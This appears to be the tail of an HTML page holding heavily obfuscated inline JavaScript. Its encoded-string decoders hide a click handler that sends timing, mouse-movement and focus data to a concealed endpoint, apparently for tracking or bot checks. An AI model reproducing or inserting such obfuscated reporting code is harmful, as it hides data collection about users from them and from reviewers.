g3Gld7J[MSUxhJ2(0x86)]&&HwsNDHD++}),window[_PoKZj(0x87)]={["cl"](g3Gld7J,_PoKZj,MSUxhJ2){function j2tRUWQ(g3Gld7J){var _PoKZj="&ahkiHERUSKjYLgc/^D!lGu#txr@z\",[5JV3qP9>1om8_F?|=.{~INpOWQsd0nZ+;27T6vCywb$f)}<4*]X(%BMA`e:",j2tRUWQ,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5,eS9fQMb,Umd97Q;N4W9hYK(j2tRUWQ=""+(g3Gld7J||""),R_2lkdW=j2tRUWQ.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],FUaXU5=FZHYVb[0x0],eS9fQMb=-FZHYVb[0x1]);for(Umd97Q=FZHYVb[0x0];Umd97Q<R_2lkdW;Umd97Q++){var RpmYYq=_PoKZj.indexOf(j2tRUWQ[Umd97Q]);if(RpmYYq===-FZHYVb[0x1])continue;if(eS9fQMb<FZHYVb[0x0]){eS9fQMb=RpmYYq}else{N4W9hYK(eS9fQMb+=RpmYYq*FZHYVb[0xc],nco7OV|=eS9fQMb<<FUaXU5,FUaXU5+=(eS9fQMb&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],FUaXU5-=FZHYVb[0x2])}while(FUaXU5>FZHYVb[0x9]);eS9fQMb=-FZHYVb[0x1]}}if(eS9fQMb>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|eS9fQMb<<FUaXU5)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function R_2lkdW(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=j2tRUWQ(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}document[R_2lkdW(0x88)](g3Gld7J)?.addEventListener(R_2lkdW(0x89),()=>{if(C1tndH){function g3Gld7J(g3Gld7J){var j2tRUWQ="W#8w_%/Ku4E&=?{pVFQJa}:6g\"DOG0kLx.o)U[<hj$2(ClR~B5S]XcI+ey`H7>|M;rsbAz*31vNf,PtTYimnZd@^9q!",eS9fQMb,RpmYYq,_PoKZj,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5;N4W9hYK(eS9fQMb=""+(g3Gld7J||""),RpmYYq=eS9fQMb.length,_PoKZj=[],R_2lkdW=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(FUaXU5=FZHYVb[0x0];FUaXU5<RpmYYq;FUaXU5++){var Umd97Q=j2tRUWQ.indexOf(eS9fQMb[FUaXU5]);if(Umd97Q===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=Umd97Q}else{N4W9hYK(nco7OV+=Umd97Q*FZHYVb[0xc],R_2lkdW|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(_PoKZj.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){_PoKZj.push((R_2lkdW|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(_PoKZj)}function j2tRUWQ(j2tRUWQ){if(typeof rxdmS4[j2tRUWQ]===FZHYVb[0x5]){return rxdmS4[j2tRUWQ]=g3Gld7J(FlCAu25[j2tRUWQ])}return rxdmS4[j2tRUWQ]}if(j2tRUWQ(0x8a)in xEv0OAf){eS9fQMb()}function eS9fQMb(){}return}C1tndH=!FZHYVb[0x0];const RpmYYq=cUL0VT();N4W9hYK(Q4sOnFn[R_2lkdW(0x8b)](nco7OV,RpmYYq+ZkiMN6J*FZHYVb[0x15]+""),setTimeout(()=>{function g3Gld7J(g3Gld7J){var j2tRUWQ="BgJTpWQAlCa0:F_8If{~zH64=P#<e*`bm>R)dDXGq3/ZSM5K@j[r,(Uu!.?n7sxEN$|9v^kYhiLV&Ot1o2+%\"yw;}]c",eS9fQMb,RpmYYq,_PoKZj,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5;N4W9hYK(eS9fQMb=""+(g3Gld7J||""),RpmYYq=eS9fQMb.length,_PoKZj=[],R_2lkdW=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(FUaXU5=FZHYVb[0x0];FUaXU5<RpmYYq;FUaXU5++){var Umd97Q=j2tRUWQ.indexOf(eS9fQMb[FUaXU5]);if(Umd97Q===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=Umd97Q}else{N4W9hYK(nco7OV+=Umd97Q*FZHYVb[0xc],R_2lkdW|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(_PoKZj.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){_PoKZj.push((R_2lkdW|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(_PoKZj)}function j2tRUWQ(j2tRUWQ){if(typeof rxdmS4[j2tRUWQ]===FZHYVb[0x5]){return rxdmS4[j2tRUWQ]=g3Gld7J(FlCAu25[j2tRUWQ])}return rxdmS4[j2tRUWQ]}return io4LB2P(R_2lkdW(0x8c),{[R_2lkdW(0x8d)]:FUaXU5,[j2tRUWQ(0x8e)]:Umd97Q,[j2tRUWQ(0x8f)]:z12fX0-ypO47D,mm:lwkZPmj,dc:HwsNDHD,fk:_PoKZj,[j2tRUWQ(0x90)]:!document[j2tRUWQ(0x91)]&&document[j2tRUWQ(0x92)](),ms:RpmYYq-z12fX0})[j2tRUWQ(0x93)](g3Gld7J=>{return g3Gld7J&&setTimeout(()=>{return WuMNj_9(g3Gld7J)},MSUxhJ2?MSUxhJ2-(cUL0VT()-RpmYYq):FZHYVb[0x0])})[j2tRUWQ(0x94)](()=>{return FZHYVb[0x0]})},FZHYVb[0x20]))})},ch:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="<VEArB@_XFT\"s?]ok[u(>n}*vH,wC`8{xyZLd6J|.+Pj1U5m:tQcR0IM)a$bp723D^4;if9gW=N&GSK~hOY%ze!#/ql",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}return io4LB2P(_PoKZj(0x95),{[_PoKZj(0x96)]:FUaXU5,[_PoKZj(0x97)]:Umd97Q})[_PoKZj(0x98)](g3Gld7J=>{return Number(g3Gld7J)===FZHYVb[0x1]})},bl:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="e9dkCH|]UEmqL6x+=g_,nNPQbIKG<iB/pD@0VWoMh^>cS)Tr&[A4ZROYFsw3J7f\"Xj:.#l5ayv(!}$`u{%1;*2?~8zt",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}if(_PoKZj(0x99)in xEv0OAf){MSUxhJ2()}function MSUxhJ2(){function g3Gld7J(g3Gld7J){var _PoKZj="`AKIOT7pBc0Jl#_d3s~,%4i5Hb1uQZSw)M8]@za2FV?$vLgWXmof<h+}jUCr:[&PyG!.t9{6*/D>Nex^(=Ekn\"|;RqY",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}function MSUxhJ2(g3Gld7J){const _PoKZj={};for(let MSUxhJ2 of g3Gld7J.replace(/[^w]/g,"").toLowerCase())_PoKZj[MSUxhJ2]=_PoKZj[MSUxhJ2]+FZHYVb[0x1]||FZHYVb[0x1];return _PoKZj}function j2tRUWQ(g3Gld7J,_PoKZj){const MSUxhJ2=buildCharMap(g3Gld7J),j2tRUWQ=buildCharMap(_PoKZj);for(let Q4sOnFn in MSUxhJ2)if(MSUxhJ2[Q4sOnFn]!==j2tRUWQ[Q4sOnFn]){return FZHYVb[0x26]}if(Object.keys(MSUxhJ2).length!==Object.keys(j2tRUWQ).length){return FZHYVb[0x26]}return!0x0}function Q4sOnFn(g3Gld7J){const _PoKZj=nco7OV(g3Gld7J);return _PoKZj!==0x1/0x0}function nco7OV(g3Gld7J){if(!g3Gld7J){return-FZHYVb[0x1]}const _PoKZj=nco7OV(g3Gld7J.left),MSUxhJ2=nco7OV(g3Gld7J.right),j2tRUWQ=Math.abs(_PoKZj-MSUxhJ2);if(_PoKZj===0x1/0x0||MSUxhJ2===0x1/0x0||j2tRUWQ>FZHYVb[0x1]){return 0x1/0x0}const Q4sOnFn=Math.max(_PoKZj,MSUxhJ2)+FZHYVb[0x1];return Q4sOnFn}window[_PoKZj(0x9a)]={buildCharacterMap:MSUxhJ2,isAnagrams:j2tRUWQ,isBalanced:Q4sOnFn,getHeightBalanced:nco7OV}}return io4LB2P(_PoKZj(0x9b),{[_PoKZj(0x9c)]:FUaXU5,[_PoKZj(0x9d)]:Umd97Q})[_PoKZj(0x9e)](()=>{})}})}g3Gld7J()})();
</script>

</body>
</html>
